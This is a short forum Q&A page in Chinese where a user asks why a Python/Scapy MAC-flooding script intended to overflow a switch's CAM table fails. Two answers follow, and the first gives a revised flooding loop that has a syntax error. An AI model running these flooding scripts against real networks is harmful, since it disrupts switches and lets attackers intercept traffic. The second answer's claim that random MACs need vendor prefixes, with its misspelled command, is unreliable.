python/scapy mac泛洪脚本

2024-04-24 20:56:58 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在尝试用python制作一个mac flood小工具来填充我的switches-cam表,但是我不能让魔术发生?你能看出我做错了什么吗?

from scapy.all import *
while 1:
  dest_mac = RandMAC()
  src_mac = RandMAC()
  sendp(Ether(src=src_mac, dst=dest_mac)/ARP(op=2, psrc="0.0.0.0", hwsrc=src_mac, hwdst=dest_mac)/Padding(load="X"*18), verbose=0)

虽然代码看起来运行良好,但它只是不做它的工作。为了测试它,我用wireshark查看数据包,然后运行THC的寄生虫“which works”,数据包几乎是一样的,所以我不确定发生了什么。谢谢你的帮助。


Tags: 工具fromimportsrcmac魔术all数据包
2条回答

伊玛达

Mac地址是由交换机通过使用源地址来学习的,因此不需要担心目标随机性。

我已经测试过这个,它看起来工作得很好……你可能还想尝试sendpfast选项来进行泛洪,但是在我的测试中,sendp似乎工作得更快?

from scapy.all import *

while 1:
    sendp(Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)))

您只能使用一些mac地址:mac地址由六组两个十六进制数字组成,用连字符(-)或冒号(:)分隔。前三个字段必须填入一些值,每个供应商的值都不同。如果未使用任何供应商代码设置此字段,服务器(或客户端)将丢弃数据包。你可以在wireshark manuf文件中找到mac厂商列表,或者直接用google查找。您可以通过在终端中键入“sudo ifcofig IFACE ether hw address”来检查地址。

相关问题 更多 >